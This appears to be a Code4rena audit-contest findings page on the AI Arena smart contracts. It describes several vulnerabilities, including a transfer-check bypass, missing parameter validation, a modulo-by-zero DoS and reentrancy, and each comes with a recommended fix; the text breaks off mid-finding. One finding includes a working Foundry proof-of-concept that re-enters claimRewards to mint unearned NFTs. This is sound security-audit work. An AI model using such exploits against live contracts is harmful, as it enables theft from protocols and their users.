Platform: Code4rena
Start Date: 09/02/2024
Pot Size: $60,500 USDC
Total HM: 17
Participants: 283
Period: 12 days
Judge:
Id: 328
League: ETH
Rank: 4/283
Findings: 10
Award: $3,246.87
π Selected for report: 2
π Solo Findings: 0
π Selected for report: Aamir
Also found by: 0rpse, 0x11singh99, 0x13, 0xAlix2, 0xAsen, 0xBinChook, 0xCiphky, 0xE1, 0xKowalski, 0xLogos, 0xWallSecurity, 0xaghas, 0xbranded, 0xlemon, 0xlyov, 0xpoor4ever, 0xprinc, 0xvj, ADM, Aymen0909, BARW, Bauchibred, Breeje, CodeWasp, DMoore, DeFiHackLabs, Draiakoo, Fulum, GhK3Ndf, Greed, Jorgect, Josh4324, Kalogerone, KmanOfficial, Krace, Limbooo, McToady, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Ryonen, SovaSlava, SpicyMeatball, Tendency, Timenov, ZanyBonzy, _eperezok, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, cartlex_, cats, csanuragjain, deadrxsezzz, denzi_, devblixt, dimulski, djxploit, erosjohn, evmboi32, fnanni, grearlake, haxatron, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, josephdara, juancito, kiqo, klau5, korok, krikolkk, ktg, kutugu, ladboy233, lil_eth, m4ttm, matejdb, merlinboii, n0kto, ni8mare, novamanbg, nuthan2x, oualidpro, pa6kuda, peter, petro_1912, pkqs90, pynschon, sandy, sashik_eth, shaflow2, shaka, sobieski, soliditywala, solmaxis69, stackachu, tallo, thank_you, tpiliposian, ubl4nk, visualbits, vnavascues, web3pwn, xchen1130, zhaojohnson
0.0037 USDC - $0.00
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L289-L303
A game item is represented by an ERC1155 token and has additional properties. One of these properties is whether or not it can be transferrable between users. One reason why a game item would be made non-transferrable is to prevent users from selling their tokens to the open market, therefore increasing its rarity and making it only purchasable from the GameItems
contract. (if you are a MMORPG gamer π, you would understand this point better!)
Before transferring a game item, it overrides safeTransferFrom
and adds an additional check whether the item can be transferred.
/// @notice Safely transfers an NFT from one address to another. /// @dev Added a check to see if the game item is transferable. function safeTransferFrom( address from, address to, uint256 tokenId, uint256 amount, bytes memory data ) public override(ERC1155) { require(allGameItemAttributes[tokenId].transferable); super.safeTransferFrom(from, to, tokenId, amount, data); }
However, in ERC1155, there is another method to transfer tokens which is safeBatchTransferFrom
function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory values, bytes memory data ) public virtual { address sender = _msgSender(); if (from != sender && !isApprovedForAll(from, sender)) { revert ERC1155MissingApprovalForAll(sender, from); } _safeBatchTransferFrom(from, to, ids, values, data); }
Since, GameItems
inherits from ERC1155 and the GameItems
contract does not override safeBatchTransferFrom
. A user can bypass the transferrable check by calling safeBatchTransferFrom
to transfer a non-transferable game item.
As a result, these game items can be sold on the open market which will devalue the items and users will buy the game items at a lower price on the open market than the GameItems
contract.
Manual Review
Override safeBatchTransferFrom
and perform the additional transferable check before calling super.safeBatchTransferFrom
Other
#0 - c4-pre-sort
2024-02-22T03:22:49Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T03:22:57Z
raymondfam marked the issue as duplicate of #18
#2 - c4-pre-sort
2024-02-26T00:27:05Z
raymondfam marked the issue as duplicate of #575
#3 - c4-judge
2024-03-05T04:48:57Z
HickupHH3 marked the issue as satisfactory
π Selected for report: Abdessamed
Also found by: 0rpse, 0xAlix2, 0xAsen, 0xCiphky, 0xlemon, 0xmystery, 0xvj, ADM, Aamir, Archime, BARW, DarkTower, Draiakoo, FloatingPragma, JCN, McToady, MrPotatoMagic, OMEN, PetarTolev, Ryonen, SpicyMeatball, Tendency, VAD37, Velislav4o, VrONTg, Zac, adamn000, ahmedaghadi, alexxander, alexzoid, bhilare_, btk, cats, d3e4, denzi_, devblixt, dimulski, evmboi32, fnanni, givn, haxatron, immeas, jesjupyter, juancito, ke1caM, klau5, korok, krikolkk, matejdb, n0kto, niser93, peter, pkqs90, radin100, shaka, sl1, soliditywala, stackachu, stakog, t0x1c, vnavascues, yotov721, zhaojohnson
1.2667 USDC - $1.27
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L495
In redeemMintPass
there isn't verification of whether the parameters being passed into the contract matches the parameters of the mint pass.
For instance, if you observe the code below anyone can select a fighterTypes
, iconTypes
and mintPassDnas
of their own choosing, so long as they own a valid mint pass because there are missing validations whether the mintPassDnas
, fighterTypes
and iconsTypes
match the ones specified in the mint pass.
function redeemMintPass( uint256[] calldata mintpassIdsToBurn, uint8[] calldata fighterTypes, uint8[] calldata iconsTypes, string[] calldata mintPassDnas, string[] calldata modelHashes, string[] calldata modelTypes ) external { require( mintpassIdsToBurn.length == mintPassDnas.length && mintPassDnas.length == fighterTypes.length && fighterTypes.length == modelHashes.length && modelHashes.length == modelTypes.length ); for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) { require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i])); _mintpassInstance.burn(mintpassIdsToBurn[i]); _createNewFighter( msg.sender, uint256(keccak256(abi.encode(mintPassDnas[i]))), modelHashes[i], modelTypes[i], fighterTypes[i], iconsTypes[i], [uint256(100), uint256(100)] ); } }
According to my communication with the sponsor, this isn't intended behaviour because, for instance a user with a Champion fighter type mint pass should only be able to mint a Champion fighter type mint pass with the specified DNA stored in the mint pass tokenURI
.
This allows them to
Mint the rarer Dendroid fighter type of NFT while only having Champion mint pass, which decreases the exclusivity and rarity of the Dendroid fighter NFTs and therefore their value.
Mint fighters with any iconTypes
(which are rare) of their choosing.
Freely choose the stats (element, weight, physical attributes) of the fighter as the DNA is used to deterministically determine the stats of the fighter. While the sponsor says that the stats are balanced and do not have any advantage over the other, perfect game balance is not entirely achievable (ie. certain set of stats may, unknowingly to the sponsor, be more powerful than others), and this violates the randomness property of stats if the user can pick and choose what stats they want their fighter to be.
Furthermore, physical attributes have various rarities (Bronze, Silver, Gold, Diamond) and therefore it is possible to obtain the highest rarity attribute by choosing the exact DNA.
Manual Review
Verify that the fighterTypes
, iconTypes
and mintPassDnas
match the ones stored in the mint pass being used.
Access Control
#0 - c4-pre-sort
2024-02-22T07:04:38Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T07:05:16Z
raymondfam marked the issue as primary issue
#2 - raymondfam
2024-02-22T07:06:32Z
User's discretion on fighter type specifically.
#3 - c4-pre-sort
2024-02-26T00:54:14Z
raymondfam marked the issue as duplicate of #1626
#4 - c4-judge
2024-03-06T03:36:36Z
HickupHH3 marked the issue as satisfactory
π Selected for report: klau5
Also found by: 0xAleko, 0xAlix2, 0xAsen, 0xCiphky, 0xKowalski, 0xlemon, 0xvj, 14si2o_Flint, Aamir, AlexCzm, Aymen0909, BARW, Blank_Space, DanielArmstrong, Davide, Draiakoo, Giorgio, McToady, MrPotatoMagic, PoeAudits, Ryonen, Silvermist, SpicyMeatball, Tychai0s, VAD37, Varun_05, alexxander, alexzoid, aslanbek, blutorque, btk, cats, d3e4, denzi_, evmboi32, fnanni, givn, grearlake, haxatron, jesjupyter, juancito, ke1caM, ktg, lanrebayode77, linmiaomiao, matejdb, merlinboii, n0kto, novamanbg, nuthan2x, petro_1912, pynschon, radin100, sashik_eth, shaka, sl1, soliditywala, solmaxis69, t0x1c, ubl4nk, vnavascues, xchen1130, yotov721, zhaojohnson
1.1225 USDC - $1.12
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L367-L391
Below is the reroll function that allows a user to reroll the stats of the character
/// @notice Rolls a new fighter with random traits. /// @param tokenId ID of the fighter being re-rolled. /// @param fighterType The fighter type. function reRoll(uint8 tokenId, uint8 fighterType) public { require(msg.sender == ownerOf(tokenId)); require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]); require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll"); _neuronInstance.approveSpender(msg.sender, rerollCost); bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost); if (success) { numRerolls[tokenId] += 1; uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId]))); (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType); fighters[tokenId].element = element; fighters[tokenId].weight = weight; fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes( newDna, generation[fighterType], fighters[tokenId].iconsType, fighters[tokenId].dendroidBool ); _tokenURIs[tokenId] = ""; } }
Notice that instead of using the original token's fighterType
, a user can specify an arbitrary fighter type which is not matching against the original fighterType
There are 2 possible impacts of this:
Increase max rerolls, we check the max rerolls for a fighter type in the maxRerollsAllowed[fighterType]
mapping, if our fighter type is a champion and maxRerollsAllowed["champion"] < maxRerollsAllowed["dendroid"]
, then user might as well pass in fighterType as Dendroid for our Champion fighter to bypass the max reroll limit.
Obtaining stats of other fighter type, the new stats is calculated via _createFighterBase(dna, fighterType)
. Therefore we can obtain stats of a Dendroid as a Champion fighter.
Manual Review
Use the original token's fighterType
instead of the fighterType
passed into the function.
Other
#0 - c4-pre-sort
2024-02-21T23:38:31Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-21T23:38:37Z
raymondfam marked the issue as duplicate of #17
#2 - c4-pre-sort
2024-02-22T00:23:53Z
raymondfam marked the issue as sufficient quality report
#3 - c4-pre-sort
2024-02-22T00:23:58Z
raymondfam marked the issue as not a duplicate
#4 - c4-pre-sort
2024-02-22T00:24:17Z
raymondfam marked the issue as duplicate of #305
#5 - c4-pre-sort
2024-02-22T01:04:48Z
raymondfam marked the issue as duplicate of #306
#6 - c4-judge
2024-03-05T04:29:52Z
HickupHH3 marked the issue as satisfactory
#7 - c4-judge
2024-03-19T09:04:08Z
HickupHH3 changed the severity to 3 (High Risk)
π Selected for report: haxatron
Also found by: 0xAlix2, 0xCiphky, 0xStriker, 0xaghas, 0xbranded, 0xlamide, 0xmystery, 0xvj, 14si2o_Flint, Aamir, AgileJune, Aymen0909, DanielArmstrong, DarkTower, Draiakoo, EagleSecurity, Giorgio, Krace, KupiaSec, MidgarAudits, MrPotatoMagic, PoeAudits, Ryonen, SpicyMeatball, Topmark, Tychai0s, VAD37, Varun_05, VrONTg, WoolCentaur, _eperezok, alexxander, alexzoid, aslanbek, blutorque, btk, cartlex_, d3e4, devblixt, evmboi32, fnanni, immeas, jesjupyter, juancito, ke1caM, klau5, ktg, lil_eth, merlinboii, nuthan2x, peter, petro_1912, pkqs90, pynschon, radin100, sandy, sashik_eth, shaka, sl1, soliditywala, t0x1c, ubl4nk, visualbits, vnavascues
1.4592 USDC - $1.46
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L470
In FighterFarm.sol
there is a mapping numElements
which stores the number of possible types of elements a fighter can have in a generation:
/// @notice Mapping of number elements by generation. mapping(uint8 => uint8) public numElements;
But the problem here is that only the initial generation, Generation 0, is initialized to 3, in the numElements
mapping during the constructor of FighterFarm.sol
.
/// @notice Sets the owner address, the delegated address. /// @param ownerAddress Address of contract deployer. /// @param delegatedAddress Address of delegated signer for messages. /// @param treasuryAddress_ Community treasury address. constructor(address ownerAddress, address delegatedAddress, address treasuryAddress_) ERC721("AI Arena Fighter", "FTR") { _ownerAddress = ownerAddress; _delegatedAddress = delegatedAddress; treasuryAddress = treasuryAddress_; numElements[0] = 3; }
It is therefore not possible to write to the numElements
mapping for any other generations. As they are uninitialized, numElements[i] = 0
when i != 0
Moreover, this numElements
mapping is read from when creating a fighter
/// @notice Creates the base attributes for the fighter. /// @param dna The dna of the fighter. /// @param fighterType The type of the fighter. /// @return Attributes of the new fighter: element, weight, and dna. function _createFighterBase( uint256 dna, uint8 fighterType ) private view returns (uint256, uint256, uint256) { => uint256 element = dna % numElements[generation[fighterType]]; // numElements is 0 when generation[fighterType] != 0. uint256 weight = dna % 31 + 65; uint256 newDna = fighterType == 0 ? dna : uint256(fighterType); return (element, weight, newDna); }
Therefore if the protocol updates to a new generation of fighters, it will not be able to create anymore new fighters as numElements[generation[fighterType]]
will be uninitialized and therefore equal 0. This will cause the transaction to always revert as any modulo by 0 will cause a panic according to Solidity Docs
Modulo with zero causes a Panic error. This check can not be disabled through unchecked { ... }.
Manual Review
Allow the admin to update the numElements
mapping when a new generation is created.
DoS
#0 - c4-pre-sort
2024-02-22T18:15:43Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T18:15:56Z
raymondfam marked the issue as primary issue
#2 - raymondfam
2024-02-22T18:16:30Z
Missing numElements[generation[fighterType]] setter.
#3 - c4-sponsor
2024-03-04T00:43:25Z
brandinho (sponsor) confirmed
#4 - c4-judge
2024-03-07T06:39:03Z
HickupHH3 marked the issue as satisfactory
#5 - c4-judge
2024-03-07T06:39:06Z
HickupHH3 marked the issue as selected for report
#6 - SonnyCastro
2024-03-07T19:38:33Z
Mitigated here
π Selected for report: DarkTower
Also found by: 0brxce, 0xBinChook, 0xCiphky, 0xDetermination, 0xLogos, Aymen0909, BARW, BoRonGod, Kow, Krace, MrPotatoMagic, PedroZurdo, Tricko, Zac, ZanyBonzy, alexxander, bhilare_, djxploit, evmboi32, grearlake, haxatron, immeas, jnforja, ke1caM, klau5, rouhsamad, sashik_eth, sl1, solmaxis69, ubl4nk, web3pwn, zxriptor
64.3894 USDC - $64.39
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L134-L167
The following function claimRewards
in MergingPool.sol
is vulnerable to reentrancy.
function claimRewards( string[] calldata modelURIs, string[] calldata modelTypes, uint256[2][] calldata customAttributes ) external { uint256 winnersLength; uint32 claimIndex = 0; uint32 lowerBound = numRoundsClaimed[msg.sender]; for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) { numRoundsClaimed[msg.sender] += 1; winnersLength = winnerAddresses[currentRound].length; for (uint32 j = 0; j < winnersLength; j++) { if (msg.sender == winnerAddresses[currentRound][j]) { // reentrancy due to _safeMint here _fighterFarmInstance.mintFromMergingPool( msg.sender, modelURIs[claimIndex], modelTypes[claimIndex], customAttributes[claimIndex] ); claimIndex += 1; } } } if (claimIndex > 0) { emit Claimed(msg.sender, claimIndex); } }
This is because _fighterFarmInstance.mintFromMergingPool
calls _safeMint
is called which calls onERC721Received
on the owner if the owner is contract. Therefore we can reenter claimRewards
function.
Now, suppose the attacker contract wins 2 rounds which we call round 0 and round 1. An attacker contract calls claimRewards
During round 0, _fighterFarmInstance.mintFromMergingPool
is called which calls _safeMint
which calls onERC721Received
on the attacker contract.
If the function onERC721Received
calls claimRewards
again, it will mint an NFT corresponding to round 1.
When onERC721Received
returns control flow back to the original claimRewards
, because our currentRound
is a local variable instead of a global variable, we will still continue the for loop to mint the NFT for round 1.
In total, using this reentrancy we minted 3 NFTs when we only won 2 rounds.
This test shows how we can exploit the reentrancy to mint 3 NFTs when we only won 2 rounds. Please run with forge test --match-test ClaimRewardsReentrancy -vvvv
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {Test, console, stdError} from "forge-std/Test.sol"; import {Vm} from "forge-std/Vm.sol"; import {FighterFarm} from "../src/FighterFarm.sol"; import {Neuron} from "../src/Neuron.sol"; import {AAMintPass} from "../src/AAMintPass.sol"; import {MergingPool} from "../src/MergingPool.sol"; import {RankedBattle} from "../src/RankedBattle.sol"; import {VoltageManager} from "../src/VoltageManager.sol"; import {GameItems} from "../src/GameItems.sol"; import {AiArenaHelper} from "../src/AiArenaHelper.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; contract ClaimRewardsReentrancyTest is Test { /*////////////////////////////////////////////////////////////// CONSTANTS //////////////////////////////////////////////////////////////*/ uint8[][] internal _probabilities; address internal constant _DELEGATED_ADDRESS = 0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0; address internal _ownerAddress; address internal _treasuryAddress; address internal _neuronContributorAddress; /*////////////////////////////////////////////////////////////// CONTRACT INSTANCES //////////////////////////////////////////////////////////////*/ FighterFarm internal _fighterFarmContract; AAMintPass internal _mintPassContract; MergingPool internal _mergingPoolContract; RankedBattle internal _rankedBattleContract; VoltageManager internal _voltageManagerContract; GameItems internal _gameItemsContract; AiArenaHelper internal _helperContract; Neuron internal _neuronContract; function getProb() public { _probabilities.push([25, 25, 13, 13, 9, 9]); _probabilities.push([25, 25, 13, 13, 9, 1]); _probabilities.push([25, 25, 13, 13, 9, 10]); _probabilities.push([25, 25, 13, 13, 9, 23]); _probabilities.push([25, 25, 13, 13, 9, 1]); _probabilities.push([25, 25, 13, 13, 9, 3]); } /*////////////////////////////////////////////////////////////// SETUP //////////////////////////////////////////////////////////////*/ function setUp() public { _ownerAddress = address(this); _treasuryAddress = vm.addr(1); _neuronContributorAddress = vm.addr(2); getProb(); _fighterFarmContract = new FighterFarm(_ownerAddress, _DELEGATED_ADDRESS, _treasuryAddress); _helperContract = new AiArenaHelper(_probabilities); _mintPassContract = new AAMintPass(_ownerAddress, _DELEGATED_ADDRESS); _mintPassContract.setFighterFarmAddress(address(_fighterFarmContract)); _mintPassContract.setPaused(false); _gameItemsContract = new GameItems(_ownerAddress, _treasuryAddress); _voltageManagerContract = new VoltageManager(_ownerAddress, address(_gameItemsContract)); _neuronContract = new Neuron(_ownerAddress, _treasuryAddress, _neuronContributorAddress); _rankedBattleContract = new RankedBattle( _ownerAddress, address(_fighterFarmContract), _DELEGATED_ADDRESS, address(_voltageManagerContract) ); _rankedBattleContract.instantiateNeuronContract(address(_neuronContract)); _mergingPoolContract = new MergingPool(_ownerAddress, address(_rankedBattleContract), address(_fighterFarmContract)); _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract)); _fighterFarmContract.instantiateAIArenaHelperContract(address(_helperContract)); _fighterFarmContract.instantiateMintpassContract(address(_mintPassContract)); _fighterFarmContract.instantiateNeuronContract(address(_neuronContract)); _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract)); } /// @notice Helper function to mint an fighter nft to an address. function _mintFromMergingPool(address to) internal { vm.prank(address(_mergingPoolContract)); _fighterFarmContract.mintFromMergingPool(to, "_neuralNetHash", "original", [uint256(1), uint256(80)]); } /// @notice Helper function to fund an account with 4k $NRN tokens. function _fundUserWith4kNeuronByTreasury(address user) internal { vm.prank(_treasuryAddress); _neuronContract.transfer(user, 4_000 * 10 ** 18); assertEq(4_000 * 10 ** 18 == _neuronContract.balanceOf(user), true); } /*////////////////////////////////////////////////////////////// TEST //////////////////////////////////////////////////////////////*/ // @notice Test claim reward reentrancy function testClaimRewardsReentrancy() public { _mintFromMergingPool(_ownerAddress); _mintFromMergingPool(_DELEGATED_ADDRESS); assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress); assertEq(_fighterFarmContract.ownerOf(1), _DELEGATED_ADDRESS); // Check we only have 1 fighter NFT assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 1); // Winners uint256[] memory _winners = new uint256[](2); _winners[0] = 0; _winners[1] = 1; // winners of roundId 0 are picked _mergingPoolContract.pickWinner(_winners); // winners of roundId 1 are picked _mergingPoolContract.pickWinner(_winners); // NFT data string[] memory _modelURIs = new string[](2); _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; string[] memory _modelTypes = new string[](2); _modelTypes[0] = "original"; _modelTypes[1] = "original"; uint256[2][] memory _customAttributes = new uint256[2][](2); _customAttributes[0][0] = uint256(1); _customAttributes[0][1] = uint256(80); _customAttributes[1][0] = uint256(1); _customAttributes[1][1] = uint256(80); // winner claims rewards for previous roundIds _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes); // Initially we had 1 NFT. That means... // We won 3 NFTs from the merging pool when we won only 2 times from the merging pool! assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 4); } function onERC721Received(address, address, uint256, bytes memory) public returns (bytes4) { // NFT data string[] memory _modelURIs = new string[](1); _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; string[] memory _modelTypes = new string[](1); _modelTypes[0] = "original"; uint256[2][] memory _customAttributes = new uint256[2][](1); _customAttributes[0][0] = uint256(1); _customAttributes[0][1] = uint256(80); // reenter claimRewards _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes); // Handle the token transfer here return this.onERC721Received.selector; } }
Use ReentrancyGuard and add nonReentrant
modifier on claimRewards
Other
#0 - c4-pre-sort
2024-02-22T08:34:11Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T08:34:32Z
raymondfam marked the issue as duplicate of #37
#2 - c4-judge
2024-03-07T02:41:21Z
HickupHH3 marked the issue as satisfactory
π Selected for report: ktg
Also found by: 0xCiphky, 0xDetermination, 0xRiO, 0xWallSecurity, 0xlemon, 0xvj, AlexCzm, BARW, Blank_Space, Draiakoo, FloatingPragma, Giorgio, Matue, McToady, MrPotatoMagic, Silvermist, SpicyMeatball, Tendency, Topmark, Tumelo_Crypto, _eperezok, agadzhalov, ahmedaghadi, alexxander, aslanbek, cats, d3e4, denzi_, dutra, evmboi32, fnanni, givn, handsomegiraffe, haxatron, immeas, juancito, ke1caM, kiqo, klau5, krikolkk, niser93, peter, petro_1912, pkqs90, rspadi, sl1, stakog, visualbits, vnavascues, yotov721
1.876 USDC - $1.88
In the MergingPool.sol
, users can mint new NFTs via claimRewards
function if they are a winner of the merging pool round:
function claimRewards( string[] calldata modelURIs, string[] calldata modelTypes, uint256[2][] calldata customAttributes ) external { uint256 winnersLength; uint32 claimIndex = 0; uint32 lowerBound = numRoundsClaimed[msg.sender]; for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) { numRoundsClaimed[msg.sender] += 1; winnersLength = winnerAddresses[currentRound].length; for (uint32 j = 0; j < winnersLength; j++) { if (msg.sender == winnerAddresses[currentRound][j]) { _fighterFarmInstance.mintFromMergingPool( msg.sender, modelURIs[claimIndex], modelTypes[claimIndex], customAttributes[claimIndex] ); claimIndex += 1; } } } if (claimIndex > 0) { emit Claimed(msg.sender, claimIndex); } }
Notice there is no verification mechanism for the customAttributes
passed and therefore the user can pass in arbitrary customAttributes
and customise the stats (weight and element) of the fighter according to their liking.
Manual Review
Ideally, a verification mechanism via signatures should be used to verify the off-chain calculation. On clarification with the sponsor, this is a wont-fix as the stats calculated by offchain logic are optimised and therefore changing them would be a self-sabotage. However, it seems to be counter-intuitive to allow users to manipulate stats which are typically randomly generated.
Other
#0 - c4-pre-sort
2024-02-24T08:48:44Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-24T08:49:04Z
raymondfam marked the issue as duplicate of #226
#2 - c4-judge
2024-03-11T10:18:49Z
HickupHH3 marked the issue as satisfactory
π Selected for report: klau5
Also found by: 0rpse, 0xBinChook, 0xDetermination, 0xGreyWolf, 0xLogos, 0xWallSecurity, 0xaghas, 0xgrbr, 0xkaju, 0xlyov, AlexCzm, BARW, Blank_Space, BoRonGod, Daniel526, DanielArmstrong, Draiakoo, FloatingPragma, Giorgio, Greed, Jorgect, Matue, McToady, MidgarAudits, Nyxaris, PUSH0, PedroZurdo, Pelz, PoeAudits, Silvermist, SpicyMeatball, Tekken, Tricko, Tumelo_Crypto, VAD37, WoolCentaur, Zac, alexzoid, andywer, aslanbek, bgsmallerbear, cats, d3e4, desaperh, dimulski, dutra, erosjohn, evmboi32, favelanky, fnanni, forkforkdog, gesha17, givn, grearlake, haxatron, honey-k12, iamandreiski, immeas, juancito, kaveyjoe, ke1caM, kiqo, klau5, korok, lil_eth, lsaudit, n0kto, ni8mare, niser93, pa6kuda, peanuts, peter, shaka, sl1, soliditywala, solmaxis69, t0x1c, tallo, thank_you, tpiliposian, visualbits, vnavascues, web3pwn, yotov721
0.0352 USDC - $0.04
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L367-L392
A user can purchase a reroll to change the stats (element, weight, physical attributes) of their character. The problem is that the stats are calculated deterministically:
uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
Since the DNA (which determines stats) are calculated deterministically, users can predict ahead of time what stats they will get if they choose to reroll. If they do not get the ideal stats they wanted, then they can just choose not to purchase a reroll.
While the sponsor says that all stats are balanced and do not have any advantage over the other, perfect game balance is not entirely achievable (ie. certain set of stats may, unknowingly to the sponsor, be more powerful than others).
Manual Review
Ideally, the fix would be to use a Chainlink VRF to generate a random DNA, but the sponsor claims this as a wont-fix. However, since this is a valid concern and it wasn't highlighted in the audit page at the beginning of the competition. It is fair to submit it here.
Other
#0 - c4-pre-sort
2024-02-22T08:26:07Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-22T08:26:15Z
raymondfam marked the issue as primary issue
#2 - raymondfam
2024-02-22T08:26:39Z
Intended design.
#3 - c4-pre-sort
2024-02-24T02:07:13Z
raymondfam marked the issue as sufficient quality report
#4 - c4-pre-sort
2024-02-24T02:08:57Z
raymondfam marked the issue as duplicate of #53
#5 - c4-judge
2024-03-06T03:49:26Z
HickupHH3 changed the severity to 3 (High Risk)
#6 - c4-judge
2024-03-06T03:54:26Z
HickupHH3 marked the issue as satisfactory
#7 - c4-judge
2024-03-15T02:10:55Z
HickupHH3 changed the severity to 2 (Med Risk)
#8 - c4-judge
2024-03-20T01:04:02Z
HickupHH3 marked the issue as duplicate of #376
π Selected for report: klau5
Also found by: 0xAlix2, 0xCiphky, 0xDetermination, 0xG0P1, 0xMosh, 0xabhay, 14si2o_Flint, AlexCzm, Aymen0909, CodeWasp, DanielArmstrong, FloatingPragma, Giorgio, JCN, Jorgect, Kalogerone, KmanOfficial, Kow, KupiaSec, McToady, SpicyMeatball, VAD37, WoolCentaur, ZanyBonzy, alexxander, alexzoid, almurhasan, blutorque, csanuragjain, denzi_, dipp, djxploit, evmboi32, handsomegiraffe, haxatron, immeas, jesjupyter, ke1caM, klau5, lanrebayode77, lil_eth, merlin, merlinboii, nuthan2x, peanuts, shaflow2, shaka, sl1, solmaxis69, stakog, swizz, t0x1c, tallo, ubermensch, vnavascues, yotov721
1.0089 USDC - $1.01
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/StakeAtRisk.sol#L104
In the unstakeNRN
function we are only checking that amountStaked[tokenId] == 0
before unlocking the token for transfer via _fighterFarmInstance.updateFighterStaking
/// @notice Unstakes NRN tokens. /// @param amount The amount of NRN tokens to unstake. /// @param tokenId The ID of the token to unstake. function unstakeNRN(uint256 amount, uint256 tokenId) external { require(_fighterFarmInstance.ownerOf(tokenId) == msg.sender, "Caller does not own fighter"); if (amount > amountStaked[tokenId]) { amount = amountStaked[tokenId]; } amountStaked[tokenId] -= amount; globalStakedAmount -= amount; stakingFactor[tokenId] = _getStakingFactor( tokenId, _stakeAtRiskInstance.getStakeAtRisk(tokenId) ); _calculatedStakingFactor[tokenId][roundId] = true; hasUnstaked[tokenId][roundId] = true; bool success = _neuronInstance.transfer(msg.sender, amount); if (success) { if (amountStaked[tokenId] == 0) { _fighterFarmInstance.updateFighterStaking(tokenId, false); } emit Unstaked(msg.sender, amount); } }
Therefore, we can transfer NFTs that still have some stakeAtRisk
to other users.
When this NFT is transferred to a new user. The new user can still play in battles.
If this new user wins a battle let's observe what happens. First, since this NFT has stakeAtRisk
for the current round, we first attempt to reclaim the NRN.
/// If the user has stake-at-risk for their fighter, reclaim a portion /// Reclaiming stake-at-risk puts the NRN back into their staking pool if (curStakeAtRisk > 0) { _stakeAtRiskInstance.reclaimNRN(curStakeAtRisk, tokenId, fighterOwner); amountStaked[tokenId] += curStakeAtRisk; }
Since this user is a new user, the mapping, amountLost[fighterOwner] = 0
. Therefore it leads to a integer underflow and cause the transaction to revert due to amountLost[fighterOwner] -= nrnToReclaim;
.
function reclaimNRN(uint256 nrnToReclaim, uint256 fighterId, address fighterOwner) external { require(msg.sender == _rankedBattleAddress, "Call must be from RankedBattle contract"); require( stakeAtRisk[roundId][fighterId] >= nrnToReclaim, "Fighter does not have enough stake at risk" ); bool success = _neuronInstance.transfer(_rankedBattleAddress, nrnToReclaim); if (success) { stakeAtRisk[roundId][fighterId] -= nrnToReclaim; totalStakeAtRisk[roundId] -= nrnToReclaim; amountLost[fighterOwner] -= nrnToReclaim; emit ReclaimedStake(fighterId, nrnToReclaim); } }
Which will cause the entire updateBattleRecord
only for the specific round and tokenId.
This can lead to unpredictable results depending on how the server handles failed transactions. According to sponsors they plan to group up failed updateBattleRecord
transactions and retry them. However as these transactions will always fail it will cost gas for the protocol as they keep replaying these failed transactions.
Remove amountLost[fighterOwner]
mapping as it is redundant.
Other
#0 - c4-pre-sort
2024-02-24T04:14:08Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-24T04:14:25Z
raymondfam marked the issue as duplicate of #1641
#2 - c4-judge
2024-03-12T04:01:25Z
HickupHH3 changed the severity to 3 (High Risk)
#3 - c4-judge
2024-03-12T04:03:31Z
HickupHH3 changed the severity to 2 (Med Risk)
#4 - c4-judge
2024-03-12T06:43:51Z
HickupHH3 marked the issue as satisfactory
π Selected for report: haxatron
Also found by: BARW, DanielArmstrong, fnanni, juancito
3166.8853 USDC - $3,166.89
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/AiArenaHelper.sol#L180
To determine what physical attributes a user gets first we obtain a rarityRank
which is computed from the DNA.
